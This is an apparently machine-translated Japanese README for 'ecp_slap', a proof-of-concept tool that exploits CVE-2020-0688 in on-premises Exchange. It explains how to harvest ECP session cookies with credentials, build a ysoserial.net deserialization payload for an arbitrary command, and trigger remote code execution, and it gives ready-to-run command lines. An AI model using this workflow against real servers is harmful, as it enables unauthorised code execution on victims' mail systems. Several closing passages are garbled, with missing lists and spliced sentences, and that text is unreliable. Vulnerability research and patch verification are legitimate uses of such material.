
これは、脆弱なオンプレミス Exchange インスタンスのスキャンと悪用のための機能を含む、CVE-2020-0688 の概念実証コードです。
scan - 悪用に必要な Cookie を取得するために資格情報とターゲット情報を指定し、それらを cookies.txt に保存します。また、対象の Exchange サーバーで Exchange Control Panel (ECP) サービスが公開されているかどうかを確認し、このサービスへの認証を試み、適切な VIEWSTATEGENERATOR 値と一致するかどうかをチェックします。認証に成功すると、シリアライズされたペイロード作成用のセッション Cookie 値が出力されます。
generate - scan 機能で取得したセッション Cookie 値と、コード実行のためのコマンドを指定します。これにより、ysoserial.net 用に入力を整形し、コード実行用のシリアライズされたペイロードを生成します。ysoserial の出力を payload.txt などのファイルに保存してください。
exploit - scan 機能を使用して認証に成功した際に取得した Cookie ファイルを入力として受け取り、ペイロードファイルの内容を URL エンコードします。このエクスプロイトは、適切な認証済みリクエストを実行して、脆弱なオンプレミス Exchange インスタンスに対するコード実行を引き起こします。
$./ecp_slap
scan - Scan an Exchange host and obtain cookies needed for exploitation:
./ecp_slap scan -t 10.1.1.5 -d corp.local -u admin -p badpassword
./ecp_slap scan -t mail.corp.com -d CORP -u admin -p badpassword
generate - Generate the ysoserial.net command for payload creation:
./ecp_slap generate -s [ASP.NET_SessionId] -c [COMMAND]
./ecp_slap generate -s 81c35474-6a73-4a1c-af45-b3985e7d7ad1 -c "echo test > C:/temp/test.txt"
exploit - Exploitation of a vulnerable Exchange server:
./ecp_slap exploit -t 192.168.5.22 -c cookies.txt -p payload.txt
./ecp_slap exploit -t mail.corp.com -c cookies.txt -p payload.txt
悪用しようとしているオンプレミス Exchange のバージョンについて、以下を確認したにもかかわらず:
しかし、それでもコード実行の成功を確認できない場合は、コード実行が機能しているかどうかを評価するために、以下のような簡単なコマンドの実行を検討してください:
nslookup で DNS クエリを実行するまず、MSRC セキュリティアドバイザリ から始めてください。そこには、オンプレミス Exchange のパッチと脆弱なバージョンに関する詳細が含まれています。Microsoft の Exchange ビルド番号 とパッチを相互参照すると、脆弱性の判定に役立ちます。
この脆弱性の悪用を手動で再現するには、素晴らしい ZDI の解説記事 に従ってください。
ソースからこのプロジェクトをコンパイルする場合は、コンパイル済みリリース を取得する代わりに、Go 環境のセットアップは多くの場合、GoLang をインストールして適切な環境変数を設定するだけで簡単に行えます。その手順はこちらに文書化されています。